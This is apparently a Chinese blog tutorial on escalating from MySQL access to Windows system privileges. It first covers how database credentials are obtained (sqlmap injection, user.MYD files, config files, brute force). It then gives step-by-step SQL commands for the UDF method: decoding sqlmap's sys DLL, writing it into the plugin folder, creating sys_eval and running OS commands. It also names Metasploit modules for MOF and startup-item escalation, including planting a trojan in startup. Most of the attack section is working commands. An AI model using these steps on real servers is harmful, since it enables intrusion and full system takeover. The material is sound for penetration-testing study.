• 权限提升数据库(基于MySQL的UDF,MOF,启动项提权)


    获取数据库权限

    如何获取数据库的最高权限用户的密码,常用方法有这些

    网站存在高权限SQL注入
    数据库的存储文件或备份文件
    网站应用源码中的数据库配置文件
    采用工具或脚本爆破

     网站存在高权限SQL注入点

    可以通过sqlmap拿到user表的账号密码,密码可能是MD5加密的。可以通过下面网站进行解密md5在线解密破解,md5解密加密 (cmd5.com)

     数据库的存储文件或备份文件

    如图,打开C:\phpStudy\MySQL\data\mysql\user.MYD

     可以看到保存了账号密码,通过MD5解密得到密码

    网站应用源码中的数据库配置文件

    寻找config,inc等配置文件,最有效

    采用工具或脚本爆破 

    尝试弱密码或默认密码进行爆破

    数据库提权

    当我们可以通过远程连接拿到了数据库权限后,尝试提权到系统权限,而数据库一般都是高权限运行的,提权得到的权限也会是高权限

    UDF提权

    UDF(Userdefined function)即用户定义函数,这是MySQL提供给使用者添加新函数的机制

    UDF提权的先决条件

    获取mysql控制权限:获取了mysql的账号密码,且可以远程登录

    mysql具有写入权限,即secure_file_priv的值不为空

    开启远程登录

    GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;    开启远程登录
    FLUSH PRIVILEGES;   刷新权限

    手动提权及原理

    查看MySQL是否有写入文件权限

    show global variables like '%secure%';

    当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出,这个提权方法就失效了
    当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
    当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

    这里为了实验需要,在配置文件加上这个选项

    上传UDF的动态链接库文件

    MySQL版本小于5.1导出C:\Windows\System32

    MySQL版本大于5.1导出MySQL安装目录的lib\plugin,现在MySQL版本几乎都在这个范围

     select version();查看MySQL版本

    select @@basedir;查看MySQL安装目录路径,sql里一个@表示变量引用,@@表示系统变量和全局变量

    这里有一个问题,plugin文件可能不存在,这是网上说的一种方法,现在已经不行了

    select 'xxx' into dumpfile 'C:\MySQL\lib\plugin::$INDEX_ALLOCATION';

    遇到这种情况只能看自己是否能获取到Web权限,比如通过数据库里的账号密码信息,然后手动加上plugin或者尝试不用数据库来提权了

    查看插件位置

    show variables like 'plugin%';

    现在我们需要查看操作系统和数据库的架构情况

    select @@version_compile_os, @@version_compile_machine;

    dll文件通过在sqlmap来获取

     sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用 ,sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。

     解密命令 python cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

     

     

    接下来,就是把dll文件复制到plugin下,注意路径替换为自己的路径,这里需要注意\\,否则可能报错

    select hex(load_file('E:\\sqlmap-1.7\\extra\\cloak\\lib_mysqludf_sys_32.dll')) into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll';

    写入udf.dll成功 

    创建自定义函数

    函数已经写好,下一步就是调用的问题了,创建自定义函数

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

    查看是否创建成功

    select * from mysql.func;

    执行系统命令 

    select sys_eval('whoami')

    MOF提权

    MOF提权在2008后因为权限控制而失效

    托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权

    使用方法

    使用msf  use exploit/windows/mysql/mysql_mof 

    启动项提权 

    将木马文件写入目标机器的启动项,当目标机器重启时,启动项里的木马也会一起执行,受到前面的secure_file_priv限制,如果限制了启动项,这种提权方式自然也失败了

     use exploit/windows/mysql/mysql_start_up

  • 相关阅读:
    Java字符串常量池
    linux彻底干干净净完全卸载 mysql
    G-TAD: Sub-Graph Localization for Temporal Action Detection 论文阅读笔记
    2022杭电多校七 Black Magic (签到)
    JavaScript【Element获取元素位置一、Element获取元素位置二、Element对象_方法、Attribute属性的操作 、dataset 属性】(十一)
    曼哈顿距离和-打印菱形
    2022年最新湖北水利水电施工安全员考试题库及答案
    FPGA:什么是流水线?流水线用在哪?
    Docker提交天池比赛流程
    Android源码相关面试专题
  • 原文地址:https://blog.csdn.net/weixin_56537388/article/details/132976484